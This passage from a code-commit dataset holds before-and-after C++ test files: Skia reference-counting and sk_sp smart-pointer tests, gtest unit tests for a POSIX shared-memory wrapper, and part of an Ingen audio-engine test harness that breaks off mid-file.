rc->unique());\n    rc->unref();\n}\n<commit_msg>Actually test our ref-counting in release builds<commit_after>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkRefCnt.h\"\n#include \"SkThreadUtils.h\"\n#include \"SkTypes.h\"\n#include \"SkWeakRefCnt.h\"\n#include \"Test.h\"\n\nstatic void bounce_ref(void* data) {\n    SkRefCnt* ref = static_cast<SkRefCnt*>(data);\n    for (int i = 0; i < 100000; ++i) {\n        ref->ref();\n        ref->unref();\n    }\n}\n\nstatic void test_refCnt(skiatest::Reporter* reporter) {\n    SkRefCnt* ref = new SkRefCnt();\n\n    SkThread thing1(bounce_ref, ref);\n    SkThread thing2(bounce_ref, ref);\n\n    SkAssertResult(thing1.start());\n    SkAssertResult(thing2.start());\n\n    thing1.join();\n    thing2.join();\n\n    REPORTER_ASSERT(reporter, ref->unique());\n    ref->unref();\n}\n\nstatic void bounce_weak_ref(void* data) {\n    SkWeakRefCnt* ref = static_cast<SkWeakRefCnt*>(data);\n    for (int i = 0; i < 100000; ++i) {\n        if (ref->try_ref()) {\n            ref->unref();\n        }\n    }\n}\n\nstatic void bounce_weak_weak_ref(void* data) {\n    SkWeakRefCnt* ref = static_cast<SkWeakRefCnt*>(data);\n    for (int i = 0; i < 100000; ++i) {\n        ref->weak_ref();\n        ref->weak_unref();\n    }\n}\n\nstatic void test_weakRefCnt(skiatest::Reporter* reporter) {\n    SkWeakRefCnt* ref = new SkWeakRefCnt();\n\n    SkThread thing1(bounce_ref, ref);\n    SkThread thing2(bounce_ref, ref);\n    SkThread thing3(bounce_weak_ref, ref);\n    SkThread thing4(bounce_weak_weak_ref, ref);\n\n    SkAssertResult(thing1.start());\n    SkAssertResult(thing2.start());\n    SkAssertResult(thing3.start());\n    SkAssertResult(thing4.start());\n\n    thing1.join();\n    thing2.join();\n    thing3.join();\n    thing4.join();\n\n    REPORTER_ASSERT(reporter, ref->unique());\n    SkDEBUGCODE(REPORTER_ASSERT(reporter, ref->getWeakCnt() == 1));\n    ref->unref();\n}\n\nDEF_TEST(RefCnt, reporter) {\n    test_refCnt(reporter);\n    test_weakRefCnt(reporter);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int gRefCounter;\nstatic int gUnrefCounter;\nstatic int gNewCounter;\nstatic int gDeleteCounter;\n\n#define check(reporter, ref, unref, make, kill)             \\\n    REPORTER_ASSERT(reporter, gRefCounter == ref);          \\\n    REPORTER_ASSERT(reporter, gUnrefCounter == unref);      \\\n    REPORTER_ASSERT(reporter, gNewCounter == make);         \\\n    REPORTER_ASSERT(reporter, gDeleteCounter == kill);\n\n\nclass Effect {\npublic:\n    Effect() : fRefCnt(1) {\n        gNewCounter += 1;\n    }\n    virtual ~Effect() {}\n\n    int fRefCnt;\n\n    void ref() {\n        gRefCounter += 1;\n        fRefCnt += 1;\n    }\n    void unref() {\n        gUnrefCounter += 1;\n\n        SkASSERT(fRefCnt > 0);\n        if (0 == --fRefCnt) {\n            gDeleteCounter += 1;\n            delete this;\n        }\n    }\n\n    int* method() const { return new int; }\n};\n\nstatic sk_sp<Effect> Create() {\n    return sk_make_sp<Effect>();\n}\n\nclass Paint {\npublic:\n    sk_sp<Effect> fEffect;\n\n    const sk_sp<Effect>& get() const { return fEffect; }\n\n    void set(sk_sp<Effect> value) {\n        fEffect = std::move(value);\n    }\n};\n\nstruct EffectImpl : public Effect {\n    ~EffectImpl() override {}\n\n    static sk_sp<EffectImpl> Create() {\n        return sk_sp<EffectImpl>(new EffectImpl);\n    }\n    int fValue;\n};\nstatic sk_sp<Effect> make_effect() {\n    auto foo = EffectImpl::Create();\n    foo->fValue = 42;\n    return std::move(foo);\n}\n\nstatic void reset_counters() {\n    gRefCounter = 0;\n    gUnrefCounter = 0;\n    gNewCounter = 0;\n    gDeleteCounter = 0;\n}\nDEF_TEST(sk_sp, reporter) {\n    reset_counters();\n\n    Paint paint;\n    REPORTER_ASSERT(reporter, paint.fEffect.get() == nullptr);\n    REPORTER_ASSERT(reporter, !paint.get());\n    check(reporter, 0, 0, 0, 0);\n\n    paint.set(Create());\n    check(reporter, 0, 0, 1, 0);\n    REPORTER_ASSERT(reporter, paint.fEffect.get()->fRefCnt == 1);\n\n    if (paint.get()) {\n        REPORTER_ASSERT(reporter, true);\n    } else {\n        REPORTER_ASSERT(reporter, false);\n    }\n    if (!paint.get()) {\n        REPORTER_ASSERT(reporter, false);\n    } else {\n        REPORTER_ASSERT(reporter, true);\n    }\n\n    paint.set(nullptr);\n    check(reporter, 0, 1, 1, 1);\n\n    if (paint.get()) {\n        REPORTER_ASSERT(reporter, false);\n    } else {\n        REPORTER_ASSERT(reporter, true);\n    }\n    if (!paint.get()) {\n        REPORTER_ASSERT(reporter, true);\n    } else {\n        REPORTER_ASSERT(reporter, false);\n    }\n\n    auto e = Create();\n    REPORTER_ASSERT(reporter, sizeof(e) == sizeof(void*));\n\n    check(reporter, 0, 1, 2, 1);\n    paint.set(e);\n    check(reporter, 1, 1, 2, 1);\n    REPORTER_ASSERT(reporter, paint.fEffect.get()->fRefCnt == 2);\n\n    Paint paint2;\n    paint2.set(paint.get());\n    check(reporter, 2, 1, 2, 1);\n    REPORTER_ASSERT(reporter, paint.fEffect.get()->fRefCnt == 3);\n\n    \/\/ Test sk_sp::operator->\n    delete paint.get()->method();\n    check(reporter, 2, 1, 2, 1);\n\n    \/\/ Test sk_sp::operator*\n    delete (*paint.get()).method();\n    check(reporter, 2, 1, 2, 1);\n\n    paint.set(nullptr);\n    e = nullptr;\n    paint2.set(nullptr);\n    check(reporter, 2, 4, 2, 2);\n\n    reset_counters();\n    {\n        \/\/ Test convertible sk_sp assignment.\n        check(reporter, 0, 0, 0, 0);\n        sk_sp<Effect> foo(nullptr);\n        REPORTER_ASSERT(reporter, !foo);\n        foo = make_effect();\n        REPORTER_ASSERT(reporter, foo);\n        check(reporter, 0, 0, 1, 0);\n    }\n    check(reporter, 0, 1, 1, 1);\n\n    \/\/ Test passing convertible rvalue into funtion.\n    reset_counters();\n    paint.set(EffectImpl::Create());\n    check(reporter, 0, 0, 1, 0);\n    paint.set(nullptr);\n    check(reporter, 0, 1, 1, 1);\n\n    reset_counters();\n    auto baz = EffectImpl::Create();\n    check(reporter, 0, 0, 1, 0);\n    paint.set(std::move(baz));\n    check(reporter, 0, 0, 1, 0);\n    REPORTER_ASSERT(reporter, !baz);\n    paint.set(nullptr);\n    check(reporter, 0, 1, 1, 1);\n\n    reset_counters();\n    {\n        \/\/ test comparison operator with convertible type.\n        sk_sp<EffectImpl> bar1 = EffectImpl::Create();\n        sk_sp<Effect> bar2(bar1);  \/\/ convertible copy constructor\n        check(reporter, 1, 0, 1, 0);\n        REPORTER_ASSERT(reporter, bar1);\n        REPORTER_ASSERT(reporter, bar2);\n        REPORTER_ASSERT(reporter, bar1 == bar2);\n        REPORTER_ASSERT(reporter, bar2 == bar1);\n        REPORTER_ASSERT(reporter, !(bar1 != bar2));\n        REPORTER_ASSERT(reporter, !(bar2 != bar1));\n        sk_sp<Effect> bar3(nullptr);\n        bar3 = bar1;  \/\/ convertible copy assignment\n        check(reporter, 2, 0, 1, 0);\n\n    }\n    check(reporter, 2, 3, 1, 1);\n\n    \/\/ test passing convertible copy into funtion.\n    reset_counters();\n    baz = EffectImpl::Create();\n    check(reporter, 0, 0, 1, 0);\n    paint.set(baz);\n    check(reporter, 1, 0, 1, 0);\n    baz = nullptr;\n    check(reporter, 1, 1, 1, 0);\n    paint.set(nullptr);\n    check(reporter, 1, 2, 1, 1);\n\n    {\n        sk_sp<SkRefCnt> empty;\n        sk_sp<SkRefCnt> notEmpty = sk_make_sp<SkRefCnt>();\n        REPORTER_ASSERT(reporter, empty == sk_sp<SkRefCnt>());\n\n        REPORTER_ASSERT(reporter, notEmpty != empty);\n        REPORTER_ASSERT(reporter, empty != notEmpty);\n\n        REPORTER_ASSERT(reporter, nullptr == empty);\n        REPORTER_ASSERT(reporter, empty == nullptr);\n        REPORTER_ASSERT(reporter, empty == empty);\n\n        REPORTER_ASSERT(reporter, nullptr <= empty);\n        REPORTER_ASSERT(reporter, empty <= nullptr);\n        REPORTER_ASSERT(reporter, empty <= empty);\n\n        REPORTER_ASSERT(reporter, nullptr >= empty);\n        REPORTER_ASSERT(reporter, empty >= nullptr);\n        REPORTER_ASSERT(reporter, empty >= empty);\n    }\n\n    {\n        sk_sp<SkRefCnt> a = sk_make_sp<SkRefCnt>();\n        sk_sp<SkRefCnt> b = sk_make_sp<SkRefCnt>();\n        REPORTER_ASSERT(reporter, a != b);\n        REPORTER_ASSERT(reporter, (a < b) != (b < a));\n        REPORTER_ASSERT(reporter, (b > a) != (a > b));\n        REPORTER_ASSERT(reporter, (a <= b) != (b <= a));\n        REPORTER_ASSERT(reporter, (b >= a) != (a >= b));\n\n        REPORTER_ASSERT(reporter, a == a);\n        REPORTER_ASSERT(reporter, a <= a);\n        REPORTER_ASSERT(reporter, a >= a);\n    }\n\n    \/\/ http:\/\/wg21.cmeerw.net\/lwg\/issue998\n    {\n        class foo : public SkRefCnt {\n        public:\n            foo() : bar(this) {}\n            void reset() { bar.reset(); }\n        private:\n            sk_sp<foo> bar;\n        };\n        \/\/ The following should properly delete the object and not cause undefined behavior.\n        \/\/ This is an ugly example, but the same issue can arise in more subtle ways.\n        (new foo)->reset();\n    }\n\n    \/\/ https:\/\/crrev.com\/0d4ef2583a6f19c3e61be04d36eb1a60b133832c\n    {\n        struct StructB;\n        struct StructA : public SkRefCnt {\n            sk_sp<StructB> b;\n        };\n\n        struct StructB : public SkRefCnt {\n            sk_sp<StructA> a;\n            ~StructB() override {} \/\/ Some clang versions don't emit this implicitly.\n        };\n\n        \/\/ Create a reference cycle.\n        StructA* a = new StructA;\n        a->b.reset(new StructB);\n        a->b->a.reset(a);\n\n        \/\/ Break the cycle by calling reset(). This will cause |a| (and hence, |a.b|)\n        \/\/ to be deleted before the call to reset() returns. This tests that the\n        \/\/ implementation of sk_sp::reset() doesn't access |this| after it\n        \/\/ deletes the underlying pointer. This behaviour is consistent with the\n        \/\/ definition of unique_ptr::reset in C++11.\n        a->b.reset();\n    }\n}\n\nnamespace {\nstruct FooAbstract : public SkRefCnt {\n    virtual void f() = 0;\n};\nstruct FooConcrete : public FooAbstract {\n    void f() override {}\n};\n}\nstatic sk_sp<FooAbstract> make_foo() {\n    \/\/ can not cast FooConcrete to FooAbstract.\n    \/\/ can cast FooConcrete* to FooAbstract*.\n    return sk_make_sp<FooConcrete>();\n}\nDEF_TEST(sk_make_sp, r) {\n    auto x = make_foo();\n}\n\n\/\/ Test that reset() \"adopts\" ownership from the caller, even if we are given the same ptr twice\n\/\/\nDEF_TEST(sk_sp_reset, r) {\n    SkRefCnt* rc = new SkRefCnt;\n    REPORTER_ASSERT(r, rc->unique());\n\n    sk_sp<SkRefCnt> sp;\n    sp.reset(rc);\n    \/\/ We have transfered our ownership over to sp\n    REPORTER_ASSERT(r, rc->unique());\n\n    rc->ref();  \/\/ now \"rc\" is also an owner\n    REPORTER_ASSERT(r, !rc->unique());\n\n    sp.reset(rc);   \/\/ this should transfer our ownership over to sp\n    REPORTER_ASSERT(r, rc->unique());\n}\n\nDEF_TEST(sk_sp_ref, r) {\n    SkRefCnt* rc = new SkRefCnt;\n    REPORTER_ASSERT(r, rc->unique());\n\n    {\n        sk_sp<SkRefCnt> sp = sk_ref_sp(rc);\n        REPORTER_ASSERT(r, !rc->unique());\n    }\n\n    REPORTER_ASSERT(r, rc->unique());\n    rc->unref();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n#include <SharedMemory.hpp>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTEST(ShMem, test_001)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OpenOptions f;\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_002)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OpenOptions f;\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n}\n\nTEST(ShMem, test_003)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::Mode m;\n     posix::OpenOptions f(m);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_004)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OFlag m;\n     posix::OpenOptions f(m);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_005)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OFlag m1;\n     posix::Mode m2;\n     posix::OpenOptions f(m1, m2);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_006)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OFlag m1;\n     posix::Mode m2;\n     posix::OpenOptions f(m2, m1);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_007)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OpenOptions f;\n     posix::SharedMemory sm1(n, f, true);\n     posix::SharedMemory sm2(n, f, false);\n     posix::SharedMemory sm3(n, f);\n     \/\/ASSERT_EQ(00644, f.get_mode().get());\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<commit_msg>add some unit tests for SharedMemory.open<commit_after>#include <gtest\/gtest.h>\n#include <SharedMemory.hpp>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTEST(ShMem, test_001)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OpenOptions f;\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_002)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OpenOptions f;\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n}\n\nTEST(ShMem, test_003)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::Mode m;\n     posix::OpenOptions f(m);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_004)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OFlag m;\n     posix::OpenOptions f(m);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_005)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OFlag m1;\n     posix::Mode m2;\n     posix::OpenOptions f(m1, m2);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_006)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OFlag m1;\n     posix::Mode m2;\n     posix::OpenOptions f(m2, m1);\n     ASSERT_EQ(O_CREAT | O_RDWR, f.get_oflag().get());\n     ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_007)\n{\n     using namespace linux;\n     posix::Name n(\"\/ShMem_test\");\n     posix::OpenOptions f;\n     \/\/posix::SharedMemory sm1(n, f, true);\n     \/\/posix::SharedMemory sm2(n, f, false);\n     posix::SharedMemory sm3(n, f);\n     \/\/ASSERT_EQ(00644, f.get_mode().get());\n}\n\nTEST(ShMem, test_008)\n{\n     using namespace linux;\n     posix::Name n(\"\");\n     posix::OpenOptions f;\n     posix::SharedMemory sm3(n);\n     try {\n\t  sm3.open();\n\n     } catch (...) {\n\t  ASSERT_TRUE(true);\n\t  return;\n     }\n     ASSERT_TRUE(false);\n}\n\nTEST(ShMem, test_009)\n{\n     using namespace linux;\n     posix::Name n(\"\/ARTA\");\n     posix::OpenOptions f;\n     posix::SharedMemory sm3(n, f, false);\n     try {\n\t  sm3.open();\n\n     } catch (...) {\n\t  ASSERT_TRUE(false);\n\t  return;\n     }\n     ASSERT_TRUE(true);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  This file is part of Ingen.\n  Copyright 2007-2012 David Robillard <http:\/\/drobilla.net\/>\n\n  Ingen is free software: you can redistribute it and\/or modify it under the\n  terms of the GNU Affero General Public License as published by the Free\n  Software Foundation, either version 3 of the License, or any later version.\n\n  Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n  WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n  A PARTICULAR PURPOSE.  See the GNU Affero General Public License for details.\n\n  You should have received a copy of the GNU Affero General Public License\n  along with Ingen.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <signal.h>\n#include <stdlib.h>\n\n#include <iostream>\n#include <string>\n\n#include <boost\/optional.hpp>\n\n#include <glibmm\/convert.h>\n#include <glibmm\/miscutils.h>\n#include <glibmm\/thread.h>\n#include <glibmm\/timer.h>\n\n#include \"raul\/Path.hpp\"\n#include \"raul\/Thread.hpp\"\n\n#include \"serd\/serd.h\"\n#include \"sord\/sordmm.hpp\"\n#include \"sratom\/sratom.h\"\n\n#include \"ingen_config.h\"\n\n#include \"ingen\/AtomReader.hpp\"\n#include \"ingen\/AtomWriter.hpp\"\n#include \"ingen\/Configuration.hpp\"\n#include \"ingen\/Configuration.hpp\"\n#include \"ingen\/EngineBase.hpp\"\n#include \"ingen\/Interface.hpp\"\n#include \"ingen\/URIMap.hpp\"\n#include \"ingen\/World.hpp\"\n#include \"ingen\/client\/ThreadedSigClientInterface.hpp\"\n#include \"ingen\/runtime_paths.hpp\"\n#include \"ingen\/serialisation\/Parser.hpp\"\n#include \"ingen\/types.hpp\"\n#ifdef WITH_BINDINGS\n#include \"bindings\/ingen_bindings.hpp\"\n#endif\n\nusing namespace std;\nusing namespace Ingen;\n\nWorld* world = NULL;\n\n\/*\nclass TestClient : public AtomSink {\n\tvoid write(const LV2_Atom* msg) {\n\t}\n};\n*\/\nclass TestClient : public Interface\n{\npublic:\n\texplicit TestClient(Log& log) : _log(log) {}\n\t~TestClient() {}\n\n\tRaul::URI uri() const { return Raul::URI(\"ingen:testClient\"); }\n\n\tvoid bundle_begin() {}\n\n\tvoid bundle_end() {}\n\n\tvoid put(const Raul::URI&            uri,\n\t         const Resource::Properties& properties,\n\t         Resource::Graph             ctx = Resource::Graph::DEFAULT) {}\n\n\tvoid delta(const Raul::URI&            uri,\n\t           const Resource::Properties& remove,\n\t           const Resource::Properties& add) {}\n\n\tvoid move(const Raul::Path& old_path,\n\t          const Raul::Path& new_path) {}\n\n\tvoid del(const Raul::URI& uri) {}\n\n\tvoid connect(const Raul::Path& tail,\n\t             const Raul::Path& head) {}\n\n\tvoid disconnect(const Raul::Path& tail,\n\t                const Raul::Path& head) {}\n\n\tvoid disconnect_all(const Raul::Path& parent_patch_path,\n\t                    const Raul::Path& path) {}\n\n\tvoid set_property(const Raul::URI&  subject,\n\t                  const Raul::URI&  predicate,\n\t                  const Raul::Atom& value) {}\n\n\tvoid set_response_id(int32_t id) {}\n\n\tvoid get(const Raul::URI& uri) {}\n\n\tvoid response(int32_t id, Status status, const std::string& subject) {\n\t\tif (status != Status::SUCCESS) {\n\t\t\t_log.error(Raul::fmt(\"error on message %1%: %2% (%3%)\\n\")\n\t\t\t           % id % ingen_status_string(status) % subject);\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t}\n\n\tvoid error(const std::string& msg) {\n\t\t_log.error(Raul::fmt(\"error: %1%\\n\") % msg);\n\t\texit(EXIT_FAILURE);\n\t}\n\nprivate:\n\tLog& _log;\n};\n\n\nstatic void\ningen_try(bool cond, const char* msg)\n{\n\tif (!cond) {\n\t\tcerr << \"ingen: Error: \" << msg << endl;\n\t\tdelete world;\n\t\texit(EXIT_FAILURE);\n\t}\n}\n\nint\nmain(int argc, char** argv)\n{\n\tGlib::thread_init();\n\tset_bundle_path_from_code((void*)&main);\n\n\tif (argc != 3) {\n\t\tcerr << \"Usage: ingen_test START_PATCH COMMANDS_FILE\" << endl;\n\t\treturn EXIT_FAILURE;\n\t}\n\n\t\/\/ Create world\n\ttry {\n\t\tworld = new World(argc, argv, NULL, NULL, NULL);\n\t} catch (std::exception& e) {\n\t\tcout << \"ingen: \" << e.what() << endl;\n\t\treturn EXIT_FAILURE;\n\t}\n\n\t\/\/ Load modules\n\tingen_try(world->load_module(\"server_profiled\"),\n\t          \"Unable to load server module\");\n\n\tingen_try(world->load_module(\"serialisation_profiled\"),\n\t          \"Unable to load serialisation module\");\n\n\t\/\/ Initialise engine\n\tingen_try(world->engine(),\n\t          \"Unable to create engine\");\n\tworld->engine()->init(48000.0, 4096);\n\tworld->engine()->activate();\n\n\t\/\/ Load patch\n\tworld->parser()->parse_file(world, world->interface().get(), argv[1]);\n\twhile (world->engine()->pending_events()) {\n\t\tworld->engine()->run(4096);\n\t\tworld->engine()->main_iteration();\n\t\tg_usleep(1000);\n\t}\n\n\t\/\/ Read commands\n\n\tSerdChunk     out    = { NULL, 0 };\n\tLV2_URID_Map* map    = &world->uri_map().urid_map_feature()->urid_map;\n\tSratom*       sratom = sratom_new(map);\n\n\tsratom_set_object_mode(sratom, SRATOM_OBJECT_MODE_BLANK_SUBJECT);\n\n\tLV2_Atom_Forge forge;\n\tlv2_atom_forge_init(&forge, map);\n\tlv2_atom_forge_set_sink(&forge, sratom_forge_sink, sratom_forge_deref, &out);\n\n\tconst std::string cmds_file_path = argv[2];\n\n\t\/\/ AtomReader to read commands from a file and send them to engine\n\tAtomReader atom_reader(world->uri_map(),\n\t                       world->uris(),\n\t                       world->log(),\n\t                       world->forge(),\n\t                       *world->interface().get());\n\n\t\/\/ AtomWriter to serialise responses from the engine\n\t\/*\n\tTestClient client;\n\tSPtr<AtomWriter> atom_writer(\n\t\tnew AtomWriter(world->uri_map(), world->uris(), client));\n\t*\/\n\tSPtr<Interface> client(new TestClient(world->log()));\n\n\tworld->interface()->set_respondee(client);\n\tworld->engine()->register_client(Raul::URI(\"ingen:\/clients\/test\"),\n\t                                 client);\n\n\tSerdURI cmds_base;\n\tSerdNode cmds_file_uri = serd_node_new_file_uri(\n\t\t(const uint8_t*)cmds_file_path.c_str(),\n\t\tNULL, &cmds_base, false);\n\tSord::Model* cmds = new Sord::Model(*world->rdf_world(),\n\t                                    (const char*)cmds_file_uri.buf);\n\tSerdEnv* env = serd_env_new(&cmds_file_uri);\n\tcmds->load_file(env, SERD_TURTLE, cmds_file_path);\n\tSord::Node nil;\n\tfor (int i = 0; ; ++i) {\n\t\tstd::string subject_str = (Raul::fmt(\"msg%1%\") % i).str();\n\t\tSord::URI subject(*world->rdf_world(), subject_str,\n\t\t                  (const char*)cmds_file_uri.buf);\n\t\tSord::Iter iter = cmds->find(subject, nil, nil);\n\t\tif (iter.end()) {\n\t\t\tbreak;\n\t\t}\n\n\t\tout.len = 0;\n\t\tsratom_read(sratom, &forge, world->rdf_world()->c_obj(),\n\t\t            cmds->c_obj(), subject.c_obj());\n\n\t\t\/*\n\t\tcerr << \"READ \" << out.len << \" BYTES\" << endl;\n\t\tLV2_Atom* atom = (LV2_Atom*)out.buf;\n\t\tcerr << sratom_to_turtle(\n\t\t\tsratom,\n\t\t\t&world->uri_map().urid_unmap_feature()->urid_unmap,\n\t\t\t(const char*)cmds_file_uri.buf,\n\t\t\tNULL, NULL, atom->type, atom->size, LV2_ATOM_BODY(atom)) << endl;\n\t\t*\/\n\n\t\tif (!atom_reader.write((LV2_Atom*)out.buf)) {\n\t\t\treturn EXIT_FAILURE;\n\t\t}\n\n\t\twhile (world->engine()->pending_events()) {\n\t\t\tworld->engine()->run(4096);\n\t\t\tworld->engine()->main_iteration();\n\t\t\tg_usleep(1000);\n\t\t}\n\t}\n\tfree((void*)out.buf);\n\tserd_env_free(env);\n\tsratom_free(sratom);\n\tserd_node_free(&cmds_file_uri);\n\tdelete cmds;\n\n\t\/\/ Shut down\n\tworld->engine()->deactivate();\n\n\tdelete world;\n\treturn 0;\n}\n\n<commit_msg>Fix compilation with --test.<commit_after>\/*\n  This file is part of Ingen.\n  Copyright 2007-2012 David Robillard <http:\/\/drobilla.net\/>\n\n  Ingen is free software: you can redistribute it and\/or modify it under the\n  terms of the GNU Affero General Public License as published by the Free\n  Software Foundation, either version 3 of the License, or any later version.\n\n  Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n  WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n  A PARTICULAR PURPOSE.  See the GNU Affero General Public License for details.\n\n  You should have received a copy of the GNU Affero General Public License\n  along with Ingen.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <signal.h>\n#include <stdlib.h>\n\n#include <iostream>\n#include <string>\n\n#include <boost\/optional.hpp>\n\n#include <glibmm\/convert.h>\n#include <glibmm\/miscutils.h>\n#include <glibmm\/thread.h>\n#include <glibmm\/timer.h>\n\n#include \"raul\/Path.hpp\"\n#include \"raul\/Thread.hpp\"\n\n#include \"serd\/serd.h\"\n#include \"sord\/sordmm.hpp\"\n#include \"sratom\/sratom.h\"\n\n#include \"ingen_config.h\"\n\n#include \"ingen\/AtomReader.hpp\"\n#include \"ingen\/AtomWriter.hpp\"\n#include \"ingen\/Configuration.hpp\"\n#include \"ingen\/Configuration.hpp\"\n#include \"ingen\/EngineBase.hpp\"\n#include \"ingen\/Interface.hpp\"\n#include \"ingen\/URIMap.hpp\"\n#include \"ingen\/World.hpp\"\n#include \"ingen\/client\/ThreadedSigClientInterface.hpp\"\n#include \"ingen\/runtime_paths.hpp\"\n#include \"ingen\/serialisation\/Parser.hpp\"\n#include \"ingen\/types.hpp\"\n#ifdef WITH_BINDINGS\n#include \"bindings\/ingen_bindings.hpp\"\n#endif\n\nusing namespace std;\nusing namespace Ingen;\n\nWorld* world = NULL;\n\n\/*\nclass TestClient : public AtomSink {\n\tvoid write(const LV2_Atom* msg) {\n\t}\n};\n*\/\nclass TestClient : public Interface\n{\npublic:\n\texplicit TestClient(Log& log) : _log(log) {}\n\t~TestClient() {}\n\n\tRaul::URI uri() const { return Raul::URI(\"ingen:testClient\"); }\n\n\tvoid bundle_begin() {}\n\n\tvoid bundle_end() {}\n\n\tvoid put(const Raul::URI&            uri,\n\t         const Resource::Properties& properties,\n\t         Resource::Graph             ctx = Resource::Graph::DEFAULT) {}\n\n\tvoid delta(const Raul::URI&            uri,\n\t           const Resource::Properties& remove,\n\t           const Resource::Properties& add) {}\n\n\tvoid move(const Raul::Path& old_path,\n\t          const Raul::Path& new_path) {}\n\n\tvoid del(const Raul::URI& uri) {}\n\n\tvoid connect(const Raul::Path& tail,\n\t             const Raul::Path& head) {}\n\n\tvoid disconnect(const Raul::Path& tail,\n\t                const Raul::Path& head) {}\n\n\tvoid disconnect_all(const Raul::Path& parent_patch_path,\n\t                    const Raul::Path& path) {}\n\n\tvoid set_property(const Raul::URI&  subject,\n\t                  const Raul::URI&  predicate,\n\t                  const Raul::Atom& value) {}\n\n\tvoid set_response_id(int32_t id) {}\n\n\tvoid get(const Raul::URI& uri) {}\n\n\tvoid response(int32_t id, Status status, const std::string& subject) {\n\t\tif (status != Status::SUCCESS) {\n\t\t\t_log.error(Raul::fmt(\"error on message %1%: %2% (%3%)\\n\")\n\t\t\t           % id % ingen_status_string(status) % subject);\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t}\n\n\tvoid error(const std::string& msg) {\n\t\t_log.error(Raul::fmt(\"error: %1%\\n\") % msg);\n\t\texit(EXIT_FAILURE);\n\t}\n\nprivate:\n\tLog& _log;\n};\n\n\nstatic void\ningen_try(bool cond, const char* msg)\n{\n\tif (!cond) {\n\t\tcerr << \"ingen: Error: \" << msg << endl;\n\t\tdelete world;\n\t\texit(EXIT_FAILURE);\n\t}\n}\n\nint\nmain(int argc, char** argv)\n{\n\tGlib::thread_init();\n\tset_bundle_path_from_code((void*)&main);\n\n\tif (argc != 3) {\n\t\tcerr << \"Usage: ingen_test START_PATCH COMMANDS_FILE\" << 